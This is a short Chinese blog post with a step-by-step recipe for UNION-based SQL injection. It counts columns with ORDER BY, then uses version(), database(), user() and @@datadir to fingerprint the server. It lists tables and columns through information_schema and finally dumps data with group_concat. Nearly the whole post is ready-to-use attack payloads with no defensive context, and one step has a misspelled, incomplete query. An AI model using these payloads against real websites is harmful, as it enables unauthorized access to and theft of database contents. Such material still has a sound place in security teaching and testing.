简单sql注入思路

1.判断注入点 猜解列名数量
.... ?id=1 order by x  (x为数字)

2.报错猜解
...?id=-1 selecet 1,2,..,x

3.信息收集
数据库版本:version()
数据库名字:database()
数据库用户:user()
操作系统:@@version_compile_os

返回的是数据库存储数据的路径:@@datadir

4.查询指定数据库名下的表名信息
...?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema='数据库名'

5.查询指定表名的列名信息
...?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name='表名'

6.查询数据
...?id=-1 union select 1,group_concat(列名),group_concat(列名),4 from 表名

本文作者:掘掘子

本文链接:https://www.cnblogs.com/juejuezi/p/17016470.html

版权声明:本作品采用知识共享署名-非商业性使用-禁止演绎 2.5 中国大陆许可协议进行许可。

posted @   掘掘子  阅读(51)  评论(0编辑  收藏  举报
点击右上角即可分享
微信分享提示
评论
收藏
关注
推荐
深色
回顶
收起